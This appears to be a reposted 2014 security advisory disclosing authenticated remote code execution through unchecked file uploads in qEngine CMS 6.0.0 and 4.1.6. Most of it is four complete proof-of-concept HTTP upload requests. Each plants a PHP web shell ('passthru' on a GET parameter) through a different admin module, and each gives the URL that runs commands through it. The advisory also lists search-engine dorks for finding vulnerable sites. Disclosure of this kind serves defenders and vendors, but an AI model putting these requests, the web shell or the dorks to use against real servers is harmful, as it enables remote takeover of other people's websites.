qEngine CMS 6.0.0 Remote Code Execution

2014.03.25
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

? qEngine CMS 6.0.0 Remote Code Execution Vendor: C97net Product web page: http://www.c97.net Affected version: 6.0.0 and 4.1.6 Summary: qEngine (qE) is a lightweight, fast, yet feature packed CMS script to help you building your site quickly. Using template engine to separate the php codes from the design, you don't need to touch the codes to design your web site. qE is also expandable by using modules. Desc: qEngine CMS suffers from an authenticated arbitrary code execution. The vulnerability is caused due to the improper verification of uploaded files in several modules thru several POST parameters. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script file that will be stored in '/public/image' directory. Minimum permissions needed for a user to upload any file: User level: Regular (param: user_level=1) Admin level: Editor (param: admin_level=3) Only the 'Super Admin' level makes the Tool 'File Manager' available. Tested on: Apache/2.4.7 (Win32) PHP/5.5.6 MySQL 5.6.14 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2014-5174 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5174.php Dork #1: intitle:powered by c97.net Dork #2: intitle:powered by qEngine Dork #3: intitle:powered by Kemana.c97.net Dork #4: intitle:powered by Cart2.c97.net 07.03.2014 --- #1 (Modules > qBanner > Manage Banner > Add Entry) POST http://localhost/qe6/admin/task.php?mod=qbanner&run=edit.php& HTTP/1.1 -----------------------------225222869427624 Content-Disposition: form-data; name="AXSRF_token" 52e9c9ff9bb251a144b82a662496f5b8 -----------------------------225222869427624 Content-Disposition: form-data; name="qadmin_cmd" new -----------------------------225222869427624 Content-Disposition: form-data; name="qadmin_process" 1 -----------------------------225222869427624 Content-Disposition: form-data; name="qadmin_savenew" 0 -----------------------------225222869427624 Content-Disposition: form-data; name="primary_key" page_id -----------------------------225222869427624 Content-Disposition: form-data; name="primary_val" dummy -----------------------------225222869427624 Content-Disposition: form-data; name="page_image"; filename="shell.php" Content-Type: application/octet-stream <?php passthru($_GET['cmd']); ?> -----------------------------225222869427624 Content-Disposition: form-data; name="page_title" ZSL -----------------------------225222869427624 Content-Disposition: form-data; name="page_keyword" http://www.zeroscience.mk -----------------------------225222869427624 Content-Disposition: form-data; name="group_id" QBANR -----------------------------225222869427624 Content-Disposition: form-data; name="page_body" This page is part of qBanner module. Please use qBanner Manager to edit this page. -----------------------------225222869427624 Content-Disposition: form-data; name="page_allow_comment" -----------------------------225222869427624 Content-Disposition: form-data; name="page_list" -----------------------------225222869427624-- Upload location: http://localhost/qe6/public/image/ Exec: http://localhost/qe6/public/image/shell.php?cmd=whoami #2 (Tools > File Manager > Upload) POST http://localhost/qe6/admin/fman/upload_process.php HTTP/1.1 -----------------------------76802486520945 Content-Disposition: form-data; name="chdir" -----------------------------76802486520945 Content-Disposition: form-data; name="n" 5 -----------------------------76802486520945 Content-Disposition: form-data; name="userfile_1"; filename="shell.php" Content-Type: application/octet-stream <?php passthru($_GET['cmd']); ?> -----------------------------76802486520945 Content-Disposition: form-data; name="userfile_2"; filename="" Content-Type: application/octet-stream -----------------------------76802486520945 Content-Disposition: form-data; name="userfile_3"; filename="" Content-Type: application/octet-stream -----------------------------76802486520945 Content-Disposition: form-data; name="userfile_4"; filename="" Content-Type: application/octet-stream -----------------------------76802486520945 Content-Disposition: form-data; name="userfile_5"; filename="" Content-Type: application/octet-stream -----------------------------76802486520945-- Upload location: Anywhere within the webroot folder and its subfolders. Exec: http://localhost/qe6/shell.php?cmd=whoami #3 (Modules > Slideshow > Manage Slides > Add Entry) POST http://localhost/qe6/admin/task.php?mod=slideshow&run=edit.php& HTTP/1.1 -----------------------------23201806221528 Content-Disposition: form-data; name="AXSRF_token" 52e9c9ff9bb251a144b82a662496f5b8 -----------------------------23201806221528 Content-Disposition: form-data; name="qadmin_cmd" new -----------------------------23201806221528 Content-Disposition: form-data; name="qadmin_process" 1 -----------------------------23201806221528 Content-Disposition: form-data; name="qadmin_savenew" 0 -----------------------------23201806221528 Content-Disposition: form-data; name="primary_key" page_id -----------------------------23201806221528 Content-Disposition: form-data; name="primary_val" dummy -----------------------------23201806221528 Content-Disposition: form-data; name="page_image"; filename="shell.php" Content-Type: application/octet-stream <?php passthru($_GET['cmd']); ?> -----------------------------23201806221528 Content-Disposition: form-data; name="page_title" ZSL -----------------------------23201806221528 Content-Disposition: form-data; name="page_keyword" http://www.zeroscience.mk -----------------------------23201806221528 Content-Disposition: form-data; name="group_id" SSHOW -----------------------------23201806221528 Content-Disposition: form-data; name="page_body" This page is part of SlideShow module. Please use SlideShow Manager to edit this page. -----------------------------23201806221528 Content-Disposition: form-data; name="page_allow_comment" -----------------------------23201806221528 Content-Disposition: form-data; name="page_list" -----------------------------23201806221528-- Upload location: http://localhost/qe6/public/image/ Exec: http://localhost/qe6/public/image/shell.php?cmd=whoami #4 (Contents > Manage Categories > Add Entry) POST http://localhost/qe6/admin/page_cat.php? HTTP/1.1 -----------------------------205172563220150 Content-Disposition: form-data; name="AXSRF_token" 3afa0c7483889ac54d7b6afa4083a9a2 -----------------------------205172563220150 Content-Disposition: form-data; name="qadmin_cmd" new -----------------------------205172563220150 Content-Disposition: form-data; name="qadmin_process" 1 -----------------------------205172563220150 Content-Disposition: form-data; name="qadmin_savenew" 0 -----------------------------205172563220150 Content-Disposition: form-data; name="primary_key" idx -----------------------------205172563220150 Content-Disposition: form-data; name="primary_val" dummy -----------------------------205172563220150 Content-Disposition: form-data; name="group_id" GENPG -----------------------------205172563220150 Content-Disposition: form-data; name="parent_id" 1 -----------------------------205172563220150 Content-Disposition: form-data; name="cat_name" ZSL -----------------------------205172563220150 Content-Disposition: form-data; name="permalink" -----------------------------205172563220150 Content-Disposition: form-data; name="cat_details" <p>Zero Science Lab</p> -----------------------------205172563220150 Content-Disposition: form-data; name="cat_image"; filename="shell.php" Content-Type: application/octet-stream <?php passthru($_GET['cmd']); ?> -----------------------------205172563220150-- Upload location: http://localhost/qe6/public/image/ Exec: http://localhost/qe6/public/image/shell.php?cmd=whoami

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5174.php


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